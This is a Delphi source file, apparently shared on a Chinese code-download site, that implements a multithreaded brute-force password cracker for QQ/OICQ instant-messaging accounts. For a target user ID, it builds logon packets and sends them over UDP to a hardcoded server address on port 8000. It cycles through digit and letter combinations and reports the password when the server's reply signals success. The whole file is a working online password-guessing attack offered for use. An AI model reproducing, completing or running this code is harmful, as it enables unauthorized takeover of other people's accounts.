GuessPw.pas
上传用户:hbtcygglw
上传日期:2007-01-07
资源大小:281k
文件大小:8k
源码类别:

其他

开发平台:

Delphi

  1. unit GuessPw;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   StdCtrls, Spin,WinSock;
  6. type
  7.   TGuessPassDlg = class(TForm)
  8.     Label1: TLabel;
  9.     edTargetID: TEdit;
  10.     Label2: TLabel;
  11.     edThreadNum: TSpinEdit;
  12.     edStartLen: TSpinEdit;
  13.     edStopLen: TSpinEdit;
  14.     edTimeOut: TSpinEdit;
  15.     Label3: TLabel;
  16.     Label4: TLabel;
  17.     Label5: TLabel;
  18.     Label6: TLabel;
  19.     lbCounter: TLabel;
  20.     Label7: TLabel;
  21.     edPassword: TEdit;
  22.     Label8: TLabel;
  23.     lbLeftCounter: TLabel;
  24.     btnStart: TButton;
  25.     btnStop: TButton;
  26.     btnSave: TButton;
  27.     btnLoad: TButton;
  28.     procedure FormCreate(Sender: TObject);
  29.     procedure btnStartClick(Sender: TObject);
  30.     procedure btnStopClick(Sender: TObject);
  31.   private
  32.     { Private declarations }
  33.     FThreadHandle:array of THandle;
  34.     PwLock:TMultiReadExclusiveWriteSynchronizer;
  35.     CountLock:TMultiReadExclusiveWriteSynchronizer;
  36. //    nStartLen,nStopLen:Integer;
  37.     strTargetId:String;
  38.     nThreadNum,nTimeOut:Integer;
  39.     FCounter,FTotalCount:Integer;
  40.     strCurrPw:String;
  41.     bStopFlag:Boolean;
  42.     nMsgId:WORD;
  43.     procedure IncCounter;
  44.     function  GetNextPw:String;
  45.     function  GetFirstChar:Char;
  46.     function  GetNextChar(a:Char;var b:Char):Boolean;
  47.         function GetNextNumber(a:char;var b:char):Boolean;
  48.         function GetNextLittleLetter(a:char;var b:char):Boolean;
  49.         function GetNextBigLetter(a:Char;var b:Char):Boolean;
  50.         function GetNextSym(a:Char;var b:Char):boolean;
  51.     function  GetNextWord(s:string):string;
  52.     function  BuildLogonPackage(var buf:array of char;buflen:Integer;pw:string):Integer;
  53.     function  LogonSucess(buf:array of char;buflen:Integer):Boolean;
  54.     procedure StartGuess;
  55.     procedure StopGuess;
  56.     procedure SaveGuess;
  57.     procedure LoadGuess;
  58.   public
  59.     { Public declarations }
  60.   end;
  61. const
  62. SymbList=['`','~','!','@','#','$','%','^','&',
  63.     '*','(',')','-','_','=','+','|','','[',']','{','}',
  64.     ':',';','''','"',',','<','.','>','/','?'];
  65. var
  66.   GuessPassDlg: TGuessPassDlg;
  67. implementation
  68. uses data,OICQPack;
  69. {$R *.DFM}
  70. { TGuessPassDlg }
  71. function  ThreadFunc(p:Pointer):integer;
  72. var
  73. sock:TSocket;
  74. addr:TSockAddr;
  75. buflen,addrlen:Integer;
  76. nRet,val:Integer;
  77. pw:string;
  78. buf:array [0..2048] of char;
  79. begin
  80. addr.sin_family:=AF_INET;
  81. addr.sin_port:=0;
  82. addr.sin_addr.S_addr:=INADDR_ANY;
  83. val:=GuesspassDlg.edTimeOut.Value;
  84. sock:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
  85. if(sock<>INVALID_SOCKET)then
  86.     begin
  87.     if(bind(sock,addr,sizeof(addr))<>SOCKET_ERROR)then
  88.         begin
  89.         if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,@val,SizeOf(val))<>SOCKET_ERROR)then
  90.             begin
  91.             while(not GuesspassDlg.bStopFlag)do
  92.                 begin
  93.                 pw:=GuesspassDlg.GetNextPw;
  94.                 if(Length(pw)=0)then Break;
  95.                 addrlen:=SizeOf(addr);
  96.                 buflen:=GuesspassDlg.BuildLogonPackage(buf,2048,pw);
  97.                 addr.sin_family:=AF_INET;
  98.                 addr.sin_port:=htons(8000);
  99.                 addr.sin_addr.S_addr:=inet_addr('202.103.190.46');
  100.                 if(sendto(sock,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
  101.                     begin
  102.                     ShowMessage(IntToStr(GetLastError));
  103.                     Break;
  104.                     end;
  105.                 nRet:=recvfrom(sock,buf,2048,0,addr,addrlen);
  106.                 if(nRet<>SOCKET_ERROR)then
  107.                     begin
  108.                     if(GuesspassDlg.LogonSucess(buf,nRet))then
  109.                         begin
  110.                         GuesspassDlg.bStopFlag:=True;
  111.                         GuesspassDlg.edPassword.Text:=pw;
  112.                         end;
  113.                     end;
  114.                 end;
  115.             end;
  116.         end;
  117.     end;
  118. closesocket(sock);
  119. Result:=0;
  120. end;
  121. function TGuessPassDlg.GetFirstChar: Char;
  122. begin
  123. Result:='0';
  124. end;
  125. function TGuessPassDlg.GetNextBigLetter(a: Char; var b: Char): Boolean;
  126. begin
  127. if(Ord(a)=0)then
  128.     begin
  129.     b:='A';
  130.     Result:=True;
  131.     end
  132. else if(('A'<=a) and (a<'Z'))then
  133.     begin
  134.     Result:=True;
  135.     b:=Chr(Ord(a)+1);
  136.     end
  137. else REsult:=False;
  138. end;
  139. function TGuessPassDlg.GetNextChar(a: Char; var b: Char): Boolean;
  140. begin
  141. Result:=GetNextNumber(a,b);
  142. if(not Result)then Result:=GetNextLittleLetter(a,b);
  143. if(not Result)then Result:=GetNextBigLetter(a,b);
  144. end;
  145. function TGuessPassDlg.GetNextLittleLetter(a: char; var b: char): Boolean;
  146. begin
  147. if(Ord(a)=0)then
  148.     begin
  149.     b:='a';
  150.     Result:=True;
  151.     end
  152. else if(('a'<=a) and (a<'z'))then
  153.     begin
  154.     Result:=True;
  155.     b:=Chr(Ord(a)+1);
  156.     end
  157. else REsult:=False;
  158. end;
  159. function TGuessPassDlg.GetNextNumber(a: char; var b: char): Boolean;
  160. begin
  161. if(Ord(a)=0)then
  162.     begin
  163.     b:='0';
  164.     Result:=True;
  165.     end
  166. else if(('0'<=a) and (a<'9'))then
  167.     begin
  168.     Result:=True;
  169.     b:=Chr(Ord(a)+1);
  170.     end
  171. else Result:=False;
  172. end;
  173. function TGuessPassDlg.GetNextPw: String;
  174. begin
  175. PwLock.BeginRead;
  176. Result:=strCurrPw;
  177. PwLock.EndRead;
  178. PwLock.BeginWrite;
  179. strCurrPw:=GetNextWord(strCurrPw);
  180. PwLock.EndWrite;
  181. end;
  182. function TGuessPassDlg.GetNextSym(a: Char; var b: Char): boolean;
  183. begin
  184. Result:=False;
  185. end;
  186. function TGuessPassDlg.GetNextWord(s: string): string;
  187. var
  188. i,p,len:Integer;
  189. c:char;
  190. Ok:Boolean;
  191. begin
  192. Ok:=False;
  193. len:=Length(s);
  194. p:=0;
  195. for i:=len downto 1 do
  196.     begin
  197.     if(GetNextChar(s[i],c))then
  198.         begin
  199.         Ok:=True;
  200.         p:=i;
  201.         Break;
  202.         end;
  203.     end;
  204. if(ok)then
  205.     begin
  206.     Result:=s;
  207.     Result[p]:=c;
  208.     if(p<len)then
  209.         for i:=p+1 to len do
  210.             begin
  211.             Result[i]:=GetFirstChar;
  212.             end;
  213.     end
  214. else
  215.     begin
  216.     Result:='';
  217.     for i:=1 to len+1 do
  218.         begin
  219.         Result:=Result+GetFirstChar;
  220.         end;
  221.     end;
  222. end;
  223. procedure TGuessPassDlg.IncCounter;
  224. begin
  225. CountLock.BeginWrite;
  226. Inc(FCounter);
  227. lbCounter.Caption:=IntToStr(FCounter);
  228. lbLeftCounter.Caption:=IntToStr(FTotalCount-FCounter);
  229. CountLock.EndWrite;
  230. end;
  231. procedure TGuessPassDlg.LoadGuess;
  232. begin
  233. end;
  234. procedure TGuessPassDlg.SaveGuess;
  235. begin
  236. end;
  237. procedure TGuessPassDlg.StartGuess;
  238. var
  239. i:Integer;
  240. id:LongWord;
  241. begin
  242. if(Length(strCurrPw)=0)then
  243.     begin
  244.     for i:=1 to edStartLen.Value do
  245.         begin
  246.         strCurrPw:=strCurrPw+GetFirstChar;
  247.         end;
  248.     end;
  249. bStopFlag:=False;
  250. for i:=1 to edThreadNum.Value do
  251.     begin
  252.     BeginThread(nil,4096,ThreadFunc,nil,0,id);
  253.     end;
  254. btnStart.Enabled:=False;
  255. btnStop.Enabled:=True;
  256. end;
  257. procedure TGuessPassDlg.StopGuess;
  258. begin
  259. bStopFlag:=True;
  260. end;
  261. procedure TGuessPassDlg.FormCreate(Sender: TObject);
  262. begin
  263. strCurrPw:='';
  264. PwLock:=TMultiReadExclusiveWriteSynchronizer.Create;
  265. CountLock:=TMultiReadExclusiveWriteSynchronizer.Create;
  266. end;
  267. function TGuessPassDlg.BuildLogonPackage(var buf: array of char;buflen:Integer;
  268.   pw: string): Integer;
  269. var
  270. id:DWORD;
  271. begin
  272. id:=StrToIntDef(edTargetId.Text,0);
  273. //Version header
  274. buf[0]:=chr(2);
  275. buf[1]:=chr(1);
  276. buf[2]:=chr(7);
  277. buf[3]:=chr(0);
  278. //cmd
  279. buf[4]:=chr($13);
  280. //Msg id
  281. buf[5]:=chr((nMsgId and $ff00) shr 8);
  282. buf[6]:=chr(nMsgId and $00ff);
  283. //user id
  284. Buf[7]:=Chr((Id and $ff000000)shr 24);
  285. Buf[8]:=chr((Id and $00ff0000)shr 16);
  286. Buf[9]:=Chr((Id and $0000ff00)shr 8);
  287. Buf[10]:=Chr((Id and $000000ff));
  288. //sender id
  289. buf[11]:='0';
  290. //sepertor
  291. buf[12]:=chr($1f);
  292. //password
  293. Result:=ArrayStrCopy(buf,2048,13,pw);
  294. buf[Result+1]:=chr(3);
  295. Inc(Result);
  296. end;
  297. function TGuessPassDlg.LogonSucess(buf: array of char; buflen:Integer): Boolean;
  298. begin
  299. if(buf[4]=Chr($13))then
  300.     begin
  301.     if((buf[7]='-') and (buf[8]='1'))then
  302.         begin
  303.         Result:=False;
  304.         end
  305.     else
  306.         begin
  307.         Result:=True;
  308.         end;
  309.     end
  310. else Result:=False;
  311. end;
  312. procedure TGuessPassDlg.btnStartClick(Sender: TObject);
  313. var
  314. i:Integer;
  315. id:LongWord;
  316. begin
  317. strCurrPw:='';
  318. for i:=0 to edStartLen.Value-1 do
  319.     begin
  320.     strCurrPw:=strCurrPw+'0';
  321.     end;
  322. SetLength(FThreadHandle,edThreadNum.Value);
  323. for i:=0 to edThreadNum.Value-1 do
  324.     begin
  325.     FThreadHandle[i]:=BeginThread(nil,0,ThreadFunc,nil,0,id);
  326.     if(FThreadHandle[i]=0)then Break;
  327.     end;
  328. end;
  329. procedure TGuessPassDlg.btnStopClick(Sender: TObject);
  330. begin
  331. bStopFlag:=True;
  332. end;
  333. end.